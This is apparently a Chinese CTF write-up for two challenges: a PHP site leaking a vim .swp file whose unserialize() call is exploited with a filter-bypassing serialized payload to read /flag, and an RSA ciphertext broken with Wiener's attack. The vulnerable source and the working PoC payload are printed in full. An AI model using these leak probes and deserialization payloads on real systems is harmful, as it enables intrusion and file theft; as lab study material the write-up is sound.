Power_cut
.swp泄露+基础反序列化
一开始懵了很久,打开就一句话:昨晚因为14级大风停电了,其他啥都扫不出来。
后面考虑到停电 => 意外退出vim => .swp泄露
于是访问/.index.php.swp
,成功下载。
使用vim -r
恢复该文件,得到源码:
<?php class logger{ public $logFile; public $initMsg; public $exitMsg; function __construct($file){ // initialise variables $this->initMsg="#--session started--#\n"; $this->exitMsg="#--session end--#\n"; $this->logFile = $file; readfile($this->logFile); } function log($msg){ $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ echo "this is destruct"; } } class weblog { public $weblogfile; function __construct() { $flag="system('cat /flag')"; echo "$flag"; } function __wakeup(){ // self::waf($this->filepath); $obj = new logger($this->weblogfile); } public function waf($str){ $str=preg_replace("/[<>*#'|?\n ]/","",$str); $str=str_replace('flag','',$str); return $str; } function __destruct(){ echo "this is destruct"; } } $log = $_GET['log']; $log = preg_replace("/[<>*#'|?\n ]/","",$log); $log = str_replace('flag','',$log); $log_unser = unserialize($log); ?> <html> <body> <p><br/>昨天晚上因为14级大风停电了.</p> </body> </html>
发现是一个反序列化题,pop链很简单(其实有一堆乱七八糟的干扰代码,可能是本来想出难一点的)。有基础的过滤,但是是str_replace的单次替换,且是将flag直接删去,于是可通过重写来绕过。
poc:
<?php class logger{ public $logFile; public $initMsg; public $exitMsg; function __construct($file){ // initialise variables $this->initMsg="#--session started--#\n"; $this->exitMsg="#--session end--#\n"; $this->logFile = $file; readfile($this->logFile); } function log($msg){ $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ echo "this is destruct"; } } class weblog { public $weblogfile; function __construct() { $flag="system('cat /flag')"; echo "$flag"; } function __wakeup(){ // self::waf($this->filepath); $obj = new logger($this->weblogfile); } public function waf($str){ $str=preg_replace("/[<>*#'|?\n ]/","",$str); $str=str_replace('flag','',$str); return $str; } function __destruct(){ echo "this is destruct"; } } $a = new weblog(); $a->weblogfile = "/flflagag"; echo serialize($a);
O:6:"weblog":1:{s:10:"weblogfile";s:9:"/flflagag";}
rsa
小李截获一个RSA加密信息,能帮忙解开吗?
c=58703794202217708947284241025731347400180247075968200121227051434588274043273799724484183411072837136505848853313100468119277511144235171654313035776616454960333999039452491921144841080778960041199884823368775400603713982137807991048133794452060951251851183850000091036462977949122345066992308292574341196418
e=119393861845960762048898683511487799317851579948448252137466961581627352921253771151013287722073113635185303441785456596647011121862839187775715967164165508224247084850825422778997956746102517068390036859477146822952441831345548850161988935112627527366840944972449468661697184646139623527967901314485800416727
n=143197135363873763765271313889482832065495214476988244056602939316096558604072987605784826977177132590941852043292009336108553058140643889603639640376907419560005800390316898478577088950660088975625569277320455499051275696998681590010122458979436183639691126624402025651761740265817600604313205276368201637427
考虑到e非常大,可以考虑使用连分数展开的方法攻击,于是使用github上的wiener rsa的攻击脚本https://github.com/pablocelayes/rsa-wiener-attack
解出d =1357235344673103496180998879094975443560606119995553415369479
直接解:
import gmpy2 as gp import binascii e=119393861845960762048898683511487799317851579948448252137466961581627352921253771151013287722073113635185303441785456596647011121862839187775715967164165508224247084850825422778997956746102517068390036859477146822952441831345548850161988935112627527366840944972449468661697184646139623527967901314485800416727 c=58703794202217708947284241025731347400180247075968200121227051434588274043273799724484183411072837136505848853313100468119277511144235171654313035776616454960333999039452491921144841080778960041199884823368775400603713982137807991048133794452060951251851183850000091036462977949122345066992308292574341196418 n=143197135363873763765271313889482832065495214476988244056602939316096558604072987605784826977177132590941852043292009336108553058140643889603639640376907419560005800390316898478577088950660088975625569277320455499051275696998681590010122458979436183639691126624402025651761740265817600604313205276368201637427 d = 1357235344673103496180998879094975443560606119995553415369479 m = gp.powmod(c,d,n) print(binascii.unhexlify(hex(m)[2:]).decode(encoding="utf-8"))
Comments | NOTHING